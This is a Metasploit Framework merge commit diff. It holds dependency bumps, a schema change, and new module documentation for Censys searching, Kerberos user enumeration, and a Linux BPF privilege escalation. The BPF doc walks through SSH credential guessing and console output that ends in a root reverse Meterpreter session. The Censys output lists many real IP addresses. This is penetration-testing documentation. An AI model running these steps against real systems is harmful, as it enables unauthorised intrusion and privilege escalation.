Merge 'upstream/master' into universal-handlers

bug/bundler_fix
OJ 2016-11-22 14:06:46 +10:00
commit c606eabbb9
No known key found for this signature in database
GPG Key ID: D5DC61FB93260597
119 changed files with 4923 additions and 367 deletions

View File

@ -1 +1 @@
2.3.1 2.3.2

View File

@ -10,7 +10,7 @@ addons:
- graphviz - graphviz
language: ruby language: ruby
rvm: rvm:
- '2.3.1' - '2.3.2'
env: env:
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true - RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true

View File

@ -1,7 +1,7 @@
PATH PATH
remote: . remote: .
specs: specs:
metasploit-framework (4.12.40) metasploit-framework (4.13.1)
actionpack (~> 4.2.6) actionpack (~> 4.2.6)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -14,9 +14,9 @@ PATH
metasploit-concern metasploit-concern
metasploit-credential metasploit-credential
metasploit-model metasploit-model
metasploit-payloads (= 1.1.26) metasploit-payloads (= 1.2.1)
metasploit_data_models metasploit_data_models
metasploit_payloads-mettle (= 0.0.8) metasploit_payloads-mettle (= 0.1.2)
msgpack msgpack
nessus_rest nessus_rest
net-ssh net-ssh
@ -89,7 +89,8 @@ GEM
minitest (~> 5.1) minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4) thread_safe (~> 0.3, >= 0.3.4)
tzinfo (~> 1.1) tzinfo (~> 1.1)
addressable (2.4.0) addressable (2.5.0)
public_suffix (~> 2.0, >= 2.0.2)
arel (6.0.3) arel (6.0.3)
arel-helpers (2.3.0) arel-helpers (2.3.0)
activerecord (>= 3.1.0, < 6) activerecord (>= 3.1.0, < 6)
@ -152,11 +153,11 @@ GEM
loofah (2.0.3) loofah (2.0.3)
nokogiri (>= 1.5.9) nokogiri (>= 1.5.9)
metasm (1.0.2) metasm (1.0.2)
metasploit-concern (2.0.1) metasploit-concern (2.0.2)
activemodel (~> 4.2.6) activemodel (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
railties (~> 4.2.6) railties (~> 4.2.6)
metasploit-credential (2.0.4) metasploit-credential (2.0.7)
metasploit-concern metasploit-concern
metasploit-model metasploit-model
metasploit_data_models metasploit_data_models
@ -164,12 +165,12 @@ GEM
railties railties
rubyntlm rubyntlm
rubyzip rubyzip
metasploit-model (2.0.0) metasploit-model (2.0.2)
activemodel (~> 4.2.6) activemodel (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
railties (~> 4.2.6) railties (~> 4.2.6)
metasploit-payloads (1.1.26) metasploit-payloads (1.2.1)
metasploit_data_models (2.0.5) metasploit_data_models (2.0.8)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
arel-helpers arel-helpers
@ -179,7 +180,7 @@ GEM
postgres_ext postgres_ext
railties (~> 4.2.6) railties (~> 4.2.6)
recog (~> 2.0) recog (~> 2.0)
metasploit_payloads-mettle (0.0.8) metasploit_payloads-mettle (0.1.2)
method_source (0.8.2) method_source (0.8.2)
mime-types (3.1) mime-types (3.1)
mime-types-data (~> 3.2015) mime-types-data (~> 3.2015)
@ -195,8 +196,8 @@ GEM
network_interface (0.0.1) network_interface (0.0.1)
nokogiri (1.6.8.1) nokogiri (1.6.8.1)
mini_portile2 (~> 2.1.0) mini_portile2 (~> 2.1.0)
octokit (4.3.0) octokit (4.6.1)
sawyer (~> 0.7.0, >= 0.5.3) sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1) openssl-ccm (1.2.1)
openvas-omp (0.0.4) openvas-omp (0.0.4)
packetfu (1.1.11) packetfu (1.1.11)
@ -214,7 +215,8 @@ GEM
coderay (~> 1.1.0) coderay (~> 1.1.0)
method_source (~> 0.8.1) method_source (~> 0.8.1)
slop (~> 3.4) slop (~> 3.4)
rack (1.6.4) public_suffix (2.0.4)
rack (1.6.5)
rack-test (0.6.3) rack-test (0.6.3)
rack (>= 1.0) rack (>= 1.0)
rails-deprecated_sanitizer (1.0.3) rails-deprecated_sanitizer (1.0.3)
@ -232,7 +234,7 @@ GEM
thor (>= 0.18.1, < 2.0) thor (>= 0.18.1, < 2.0)
rake (11.3.0) rake (11.3.0)
rb-readline-r7 (0.5.2.0) rb-readline-r7 (0.5.2.0)
recog (2.0.22) recog (2.0.24)
nokogiri nokogiri
redcarpet (3.3.4) redcarpet (3.3.4)
rex-arch (0.1.2) rex-arch (0.1.2)
@ -248,7 +250,7 @@ GEM
metasm metasm
rex-arch rex-arch
rex-text rex-text
rex-exploitation (0.1.1) rex-exploitation (0.1.2)
jsobfu jsobfu
metasm metasm
rex-arch rex-arch
@ -271,13 +273,13 @@ GEM
metasm metasm
rex-core rex-core
rex-text rex-text
rex-socket (0.1.0) rex-socket (0.1.1)
rex-core rex-core
rex-sslscan (0.1.0) rex-sslscan (0.1.0)
rex-socket rex-socket
rex-text rex-text
rex-struct2 (0.1.0) rex-struct2 (0.1.0)
rex-text (0.2.4) rex-text (0.2.5)
rex-zip (0.1.0) rex-zip (0.1.0)
rex-text rex-text
rkelly-remix (0.0.6) rkelly-remix (0.0.6)
@ -301,8 +303,8 @@ GEM
rspec-support (3.5.0) rspec-support (3.5.0)
rubyntlm (0.6.1) rubyntlm (0.6.1)
rubyzip (1.2.0) rubyzip (1.2.0)
sawyer (0.7.0) sawyer (0.8.0)
addressable (>= 2.3.5, < 2.5) addressable (>= 2.3.5, < 2.6)
faraday (~> 0.8, < 0.10) faraday (~> 0.8, < 0.10)
shoulda-matchers (3.1.1) shoulda-matchers (3.1.1)
activesupport (>= 4.0.0) activesupport (>= 4.0.0)
@ -319,7 +321,7 @@ GEM
timecop (0.8.1) timecop (0.8.1)
tzinfo (1.2.2) tzinfo (1.2.2)
thread_safe (~> 0.1) thread_safe (~> 0.1)
tzinfo-data (1.2016.8) tzinfo-data (1.2016.9)
tzinfo (>= 1.0.0) tzinfo (>= 1.0.0)
windows_error (0.0.2) windows_error (0.0.2)
xpath (2.0.0) xpath (2.0.0)

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -11,7 +11,7 @@
# #
# It's strongly recommended that you check this file into your version control system. # It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 20161004165612) do ActiveRecord::Schema.define(version: 20161107203710) do
# These are extensions that must be enabled in order to support this database # These are extensions that must be enabled in order to support this database
enable_extension "plpgsql" enable_extension "plpgsql"
@ -320,7 +320,8 @@ ActiveRecord::Schema.define(version: 20161004165612) do
t.string "jtr_format" t.string "jtr_format"
end end
add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree
add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree
create_table "metasploit_credential_publics", force: :cascade do |t| create_table "metasploit_credential_publics", force: :cascade do |t|
t.string "username", null: false t.string "username", null: false

View File

@ -0,0 +1,214 @@
The module use the Censys REST API to access the same data accessible through web interface. The search endpoint allows searches against the current data in the IPv4, Top Million Websites, and Certificates indexes using the same search syntax as the primary site.
## Verification Steps
1. Do: `use auxiliary/gather/censys_search`
2. Do: `set CENSYS_UID XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX`
3. Do: `set CENSYS_SECRET XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX`
4. Do: `set CENSYS_SEARCHTYPE certificates`
5: Do: `set CENSYS_DORK rapid7`
6: Do: `run`
## Sample Output
#### Certificates Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE certificates
CENSYS_SEARCHTYPE => certificates
...
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=MetasploitSelfSignedCA
[+] 208.118.237.41 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 64.125.235.5 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.40 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.227.12 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.38 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 23.48.13.195 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.227.14 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.252.134 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.63 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.242 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.187 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.64 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.181 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.17 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.183 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 54.230.249.186 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 199.15.214.152 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 31.214.157.19 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 31.220.7.39 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 168.253.216.190 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 52.88.1.225 - C=US, ST=TX, L=Austin, O=Rapid7, CN=localhost
[+] 208.118.237.41 - CN=NeXpose Security Console, O=Rapid7
...
```
### IPv4 Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE ipv4
CENSYS_SEARCHTYPE => ipv4
[*] 197.117.5.36 - 443/https
[*] 208.118.237.81 - 443/https
[*] 206.19.237.19 - 443/https
[*] 54.214.49.70 - 80/http,443/https
[*] 208.118.237.241 - 443/https
[*] 162.220.246.141 - 443/https,22/ssh,80/http
[*] 31.214.157.19 - 443/https,22/ssh
[*] 52.88.1.225 - 443/https,22/ssh
[*] 208.118.227.12 - 25/smtp
[*] 38.107.201.41 - 443/https
[*] 52.44.56.126 - 80/http,443/https
[*] 52.54.227.6 - 443/https,80/http
[*] 23.217.253.242 - 443/https,80/http
[*] 96.6.3.45 - 80/http,443/https
[*] 23.6.73.47 - 443/https,80/http
[*] 23.78.99.243 - 80/http,443/https
[*] 23.53.51.170 - 80/http,443/https
[*] 23.62.201.47 - 443/https,80/http
[*] 2.23.50.157 - 443/https,80/http
[*] 118.215.191.13 - 80/http,443/https
[*] 2.19.185.28 - 80/http,443/https
[*] 2.18.195.99 - 443/https,80/http
[*] 23.197.196.25 - 443/https,80/http
[*] 95.100.104.181 - 443/https,80/http
[*] 2.20.37.130 - 80/http,443/https
[*] 23.194.237.34 - 443/https,80/http
[*] 2.17.140.86 - 443/https,80/http
[*] 64.125.235.5 - 25/smtp
[*] 208.118.227.32 - 80/http
[*] 2.21.129.149 - 80/http,443/https
[*] 2.20.167.33 - 80/http,443/https
[*] 95.100.139.218 - 80/http,443/https
[*] 23.38.88.202 - 443/https,80/http
[*] 2.17.184.80 - 443/https,80/http
[*] 23.59.119.23 - 80/http,443/https
[*] 2.16.14.225 - 443/https,80/http
[*] 104.113.122.33 - 443/https,80/http
[*] 23.223.44.164 - 80/http,443/https
[*] 88.221.120.214 - 443/https,80/http
[*] 23.47.36.145 - 443/https,80/http
[*] 2.23.21.254 - 80/http,443/https
[*] 208.118.237.39 - 443/https
[*] 208.118.237.40 - 443/https
[*] 208.118.237.41 - 443/https
[*] 23.54.217.47 - 80/http,443/https
[*] 96.17.254.188 - 443/https,80/http
[*] 184.25.129.65 - 443/https,80/http
[*] 104.121.167.123 - 443/https,80/http
[*] 104.94.110.63 - 443/https,80/http
[*] 104.91.11.216 - 80/http,443/https
[*] 23.38.233.47 - 80/http,443/https
[*] 52.86.110.89 - 80/http,443/https
[*] 69.192.73.47 - 443/https,80/http
[*] 184.86.57.47 - 443/https,80/http
[*] 104.86.45.180 - 443/https,80/http
[*] 184.87.72.153 - 80/http,443/https
[*] 23.66.25.47 - 80/http,443/https
[*] 23.56.162.76 - 80/http,443/https
[*] 184.87.133.242 - 443/https,80/http
[*] 23.55.74.28 - 80/http,443/https
[*] 23.6.225.84 - 80/http,443/https
[*] 23.46.133.153 - 443/https,80/http
[*] 23.10.121.47 - 443/https,80/http
[*] 104.109.35.169 - 80/http,443/https
[*] 172.227.101.182 - 80/http,443/https
[*] 184.27.23.104 - 80/http,443/https
[*] 23.49.185.47 - 80/http,443/https
[*] 23.67.172.177 - 80/http,443/https
[*] 23.62.170.161 - 443/https,80/http
[*] 23.219.71.35 - 443/https,80/http
[*] 104.82.94.233 - 443/https,80/http
[*] 184.26.73.47 - 80/http,443/https
[*] 104.68.108.237 - 80/http,443/https
[*] 23.60.39.77 - 80/http,443/https
[*] 23.66.100.92 - 80/http,443/https
[*] 23.61.28.182 - 443/https,80/http
[*] 23.42.116.233 - 80/http,443/https
[*] 104.105.14.197 - 80/http,443/https
[*] 104.103.203.240 - 80/http,443/https
[*] 104.65.57.235 - 80/http,443/https
[*] 23.41.83.224 - 80/http,443/https
[*] 184.51.185.47 - 80/http,443/https
[*] 23.67.231.142 - 80/http,443/https
[*] 208.118.237.38 - 443/https
[*] 104.76.25.28 - 80/http,443/https
[*] 23.196.125.176 - 443/https,80/http
[*] 23.40.154.224 - 80/http,443/https
[*] 23.77.33.204 - 443/https,80/http
[*] 104.88.21.48 - 80/http,443/https
[*] 173.223.134.47 - 80/http,443/https
[*] 23.4.98.72 - 80/http,443/https
[*] 23.44.97.3 - 80/http,443/https
[*] 23.203.66.142 - 443/https,80/http
[*] 23.42.216.251 - 443/https,80/http
[*] 23.42.85.25 - 80/http,443/https
[*] 173.255.195.131 - 80/http,23/telnet,25/smtp,110/pop3,53/dns,443/https,22/ssh
[*] 104.83.219.182 - 443/https,80/http
[*] 184.86.41.47 - 443/https,80/http
[*] 104.97.72.196 - 443/https,80/http
[*] 69.192.169.48 - 443/https,80/http
```
### Websites Search
```
msf auxiliary(censys_search) > set CENSYS_DORK rapid7
CENSYS_DORK => rapid7
msf auxiliary(censys_search) > set CENSYS_SEARCHTYPE websites
CENSYS_SEARCHTYPE => websites
msf auxiliary(censys_search) > run
[+] rapid7.com - [37743]
[+] logentries.com - [45346]
[+] venturefizz.com - [106102]
[+] gild.com - [116853]
[+] sectools.org - [122125]
[+] ericzhang.me - [155622]
[+] metasploit.com - [156435]
[+] datapipe.com - [209756]
[+] routerpwn.com - [317896]
[+] proxy-base.com - [507954]
[+] config.fr - [542346]
[+] winterwyman.com - [629471]
[+] gogrid.com - [741009]
[+] wesecure.nl - [997423]
[*] Auxiliary module execution completed
```
## References
1. https://censys.io/api

View File

@ -0,0 +1,99 @@
The kerberos_enumusers module is used to enumerate valid Domain Users
via Kerberos from a wholly unauthenticated perspective. It utilises the
different responses returned by the service to identify users that exist
within the target domain. It is also able to identify whether user
accounts are enabled or disabled/locked out.
## Target
To use kerberos_enumusers, make sure you are able to connect to the
Kerberos service on a Domain Controller.
## Scenario
The following demonstrates basic usage, using a custom wordlist,
targeting a single Domain Controller to identify valid domain user
accounts.
```
msf > use auxiliary/gather/kerberos_enumusers
msf auxiliary(kerberos_enumusers) > set DOMAIN MYDOMAIN
DOMAIN => MYDOMAIN
msf auxiliary(kerberos_enumusers) > set RHOST 192.168.5.1
RHOST => 192.168.5.1
msf auxiliary(kerberos_enumusers) > set USER_FILE /job/users.txt
USER_FILE => /job/users.txt
msf auxiliary(kerberos_enumusers) > run
[*] Validating options...
[*] Using domain: MYDOMAIN...
[*] 192.168.5.1:88 - Testing User: "bob"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "bob" is present
[*] 192.168.5.1:88 - Testing User: "alice"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "alice" is present
[*] 192.168.5.1:88 - Testing User: "matt"...
[*] 192.168.5.1:88 - KDC_ERR_PREAUTH_REQUIRED - Additional
pre-authentication required
[+] 192.168.5.1:88 - User: "matt" is present
[*] 192.168.5.1:88 - Testing User: "guest"...
[*] 192.168.5.1:88 - KDC_ERR_CLIENT_REVOKED - Clients credentials have
been revoked
[-] 192.168.5.1:88 - User: "guest" account disabled or locked out
[*] 192.168.5.1:88 - Testing User: "admint"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "admint" does not exist
[*] 192.168.5.1:88 - Testing User: "admin"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "admin" does not exist
[*] 192.168.5.1:88 - Testing User: "administrator"...
[*] 192.168.5.1:88 - KDC_ERR_C_PRINCIPAL_UNKNOWN - Client not found in
Kerberos database
[*] 192.168.5.1:88 - User: "administrator" does not exist
[*] Auxiliary module execution completed
msf auxiliary(kerberos_enumusers) >
```
## Options
The kerberos_enumusers module only requires the RHOST, DOMAIN and
USER_FILE options to run.
**The DOMAIN option**
This option is used to specify the target domain. If the domain name is
incorrect an error is returned and domain user account enumeration will fail.
An example of setting DOMAIN:
```
set DOMAIN [domain name]
```
**The USER_FILE option**
This option is used to specify the file containing a list of user names
to query the Domain Controller to identify if they exist in the target domain
or not. One per line.
An example of setting USER_FILE:
```
set USER_FILE [path to file]
```
**The Timeout option**
This option is used to specify the TCP timeout i.e. the time to wait
before a connection to the Domain Controller is established and data read.
An example of setting Timeout:
```
set Timeout [value in seconds]
```

View File

@ -0,0 +1,167 @@
## Notes
This module (and the original exploit) are written in several parts: hello, doubleput, and suidhelper.
Mettle at times on this exploit will give back an invalid session number error. In these cases payload/linux/x64/shell/bind_tcp seemed to always work.
As of PR submission, the original shell becomes unresposive when the root shell occurs. Metasm fails to compile due to fuse.h being required.
As of PR submission, killing of the process hello and doubleput has to occur manually. /tmp/fuse_mount also needs to be unmounted and deleted.
## Creating A Testing Environment
There are a few requirements for this module to work:
1. CONFIG_BPF_SYSCALL=y must be set in the kernel (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
2. kernel.unprivileged_bpf_disabled can't be set to 1 (default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
3. fuse needs to be installed (non-default on Ubuntu 16.04 (Linux 4.4.0-38-generic))
Using Ubuntu 16.04, simply `sudo apt-get install fuse` and you're all set!
This module has been tested against:
1. Ubuntu 16.04 linux-image-4.4.0-38-generic (pre-compile & live compile)
2. Ubuntu 16.04 (default kernel) linux-image-4.4.0-21-generic (pre-compile & live compile)
This module was not tested against, but may work against:
1. Fedora 24 < [kernel-4.5.4-300.fc24](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
2. Fedora 23 < [kernel-4.5.5-201.fc23](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
3. Fedora 22 < [kernel-4.4.10-200.fc22](https://bugzilla.redhat.com/show_bug.cgi?id=1334311)
4. Debian >= 4.4~rc4-1~exp1, < Fixed in version [4.5.3-1](https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=823603)
5. Ubuntu 14.04.1 <= [4.4.0-22.39](https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1578705/comments/3)
## Verification Steps
1. Start msfconsole
2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/bpf_priv_esc`
5. Do: `set session #`
6. Do: `set verbose true`
7. Do: `exploit`
## Options
**MAXWAIT**
The first stage of this priv esc can take ~35seconds to execute. This is the timer on how long we should wait till we give up on the first stage finishing. Defaults to 120 (seconds)
**WritableDir**
A folder we can write files to. Defaults to /tmp
**COMPILE**
If we should live compile on the system, or drop pre-created binaries. Auto will determine if gcc/libs are installed to compile live on the system. Defaults to Auto
## Scenarios
### Ubuntu 16.04 (with Linux 4.4.0-38-generic)
#### Initial Access
msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > set rhosts 192.168.199.130
rhosts => 192.168.199.130
msf auxiliary(ssh_login) > set username ubuntu
username => ubuntu
msf auxiliary(ssh_login) > set password ubuntu
password => ubuntu
msf auxiliary(ssh_login) > exploit
[*] SSH - Starting bruteforce
[+] SSH - Success: 'ubuntu:ubuntu' 'uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) Linux ubuntu 4.4.0-38-generic #57-Ubuntu SMP Tue Sep 6 15:42:33 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux '
[!] No active DB -- Credential data will not be saved!
[*] Command shell session 1 opened (192.168.199.131:39175 -> 192.168.199.130:22) at 2016-09-27 12:25:31 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
#### Escalate
In this scenario, gcc and libfuse-dev are both installed so we can live compile on the system.
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[+] libfuse-dev is installed
[+] gcc is installed
[*] Live compiling exploit on system
[*] Writing files to target
[*] Writing hello to /tmp/hello.c
[*] Max line length is 65537
[*] Writing 2760 bytes in 1 chunks of 9767 bytes (octal-encoded), using printf
[*] Writing doubleput to /tmp/doubleput.c
[*] Max line length is 65537
[*] Writing 5182 bytes in 1 chunks of 18218 bytes (octal-encoded), using printf
[*] Writing suidhelper to /tmp/suidhelper.c
[*] Max line length is 65537
[*] Writing 352 bytes in 1 chunks of 1219 bytes (octal-encoded), using printf
[*] Compiling all modules on target
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:43734) at 2016-09-27 12:26:06 -0400
[*] Cleaning up...
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer : 192.168.199.130
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
Architecture : x86_64
Meterpreter : x64/linux
#### Escalate w/ pre-compiled binaries
It is possible to force pre-compiled binaries, however in this case we look at a system that doesn't have libfuse-dev (ubuntu) installed
msf auxiliary(ssh_login) > use exploit/linux/local/bpf_priv_esc
msf exploit(bpf_priv_esc) > set verbose true
verbose => true
msf exploit(bpf_priv_esc) > set session 1
session => 1
msf exploit(bpf_priv_esc) > set lhost 192.168.199.131
lhost => 192.168.199.131
msf exploit(bpf_priv_esc) > exploit
[*] Started reverse TCP handler on 192.168.199.131:4444
[+] CONFIG_BPF_SYSCAL is set to yes
[+] kernel.unprivileged_bpf_disabled is NOT set to 1
[+] fuse is installed
[-] libfuse-dev is not installed. Compiling will fail.
[*] Dropping pre-compiled exploit on system
[*] Writing pre-compiled binarys to target
[*] Max line length is 65537
[*] Writing 9576 bytes in 1 chunks of 24954 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 13920 bytes in 1 chunks of 36828 bytes (octal-encoded), using printf
[*] Max line length is 65537
[*] Writing 8840 bytes in 1 chunks of 21824 bytes (octal-encoded), using printf
[*] Writing payload to /tmp/AyDJSaMM
[*] Max line length is 65537
[*] Writing 188 bytes in 1 chunks of 506 bytes (octal-encoded), using printf
[*] Starting execution of priv esc. This may take about 120 seconds
[+] got root, starting payload
[-] This exploit may require process killing of 'hello', and 'doubleput' on the target
[-] This exploit may requires manual umounting of /tmp/fuse_mount via 'fusermount -z -u /tmp/fuse_mount' on the target
[-] This exploit may requires manual deletion of /tmp/fuse_mount via 'rm -rf /tmp/fuse_mount' on the target
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (2412016 bytes) to 192.168.199.130
[*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:55522) at 2016-09-28 08:08:04 -0400
meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0

View File

@ -27,7 +27,7 @@ This does not work against the following vulnerable systems. Additional work ma
1. Start msfconsole 1. Start msfconsole
2. Exploit a box via whatever method 2. Exploit a box via whatever method
4. Do: `use exploit/linux/local/netfilter_priv_esc` 4. Do: `use exploit/linux/local/netfilter_priv_esc_ipv4`
5. Do: `set session #` 5. Do: `set session #`
6. Do: `set verbose true` 6. Do: `set verbose true`
7. Do: `exploit` 7. Do: `exploit`
@ -115,7 +115,7 @@ This does not work against the following vulnerable systems. Additional work ma
#### Escalate w/ pre-compiled binaries #### Escalate w/ pre-compiled binaries
msf exploit(netfilter_priv_esc) > exploit msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
@ -160,9 +160,9 @@ This does not work against the following vulnerable systems. Additional work ma
In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again. In this scenario, we already exploit the box, for whatever reason our shell died. So now we want to re-exploit, but we dont need to run desc again.
msf exploit(netfilter_priv_esc) > set reexploit true msf exploit(netfilter_priv_esc_ipv4) > set reexploit true
reexploit => true reexploit => true
msf exploit(netfilter_priv_esc) > exploit msf exploit(netfilter_priv_esc_ipv4) > exploit
[*] Started reverse TCP handler on 192.168.2.117:4444 [*] Started reverse TCP handler on 192.168.2.117:4444
[*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed [*] Checking if 32bit C libraries, gcc-multilib, and gcc are installed
